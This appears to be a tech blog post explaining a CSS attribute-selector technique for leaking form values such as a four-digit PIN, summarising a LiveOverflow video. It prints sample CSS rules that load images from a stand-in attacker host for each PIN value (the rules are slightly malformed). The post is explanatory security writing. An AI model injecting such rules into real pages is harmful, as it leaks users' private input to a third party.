CSS Steals Your Web Data

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

The idea is to track when a particular client loads one of the image files. Then you can assume you know which PIN number was present. This is painful and would be worse if you wanted to capture a Social Security number, a credit card number, or arbitrary text. In addition, the technique operates on attributes, but — unfortunately for us — many common frameworks make a text input’s value attribute the same as its contents for simplicity. That plays right into the attacker’s hands.

As [Live Overflow] explains, some have called this a keylogger, but that’s a bit of stretch. We think of a keylogger as something that can watch what we type anywhere. This simply probes for certain input values in a specific place. Still, it does illustrate that almost any technology can be subverted by malicious programmers.

This illustrates our own [Jack Laidlaw’s] quote: “The easiest way to secure a device is to turn it off.” Turns out these days even your dishwasher isn’t safe.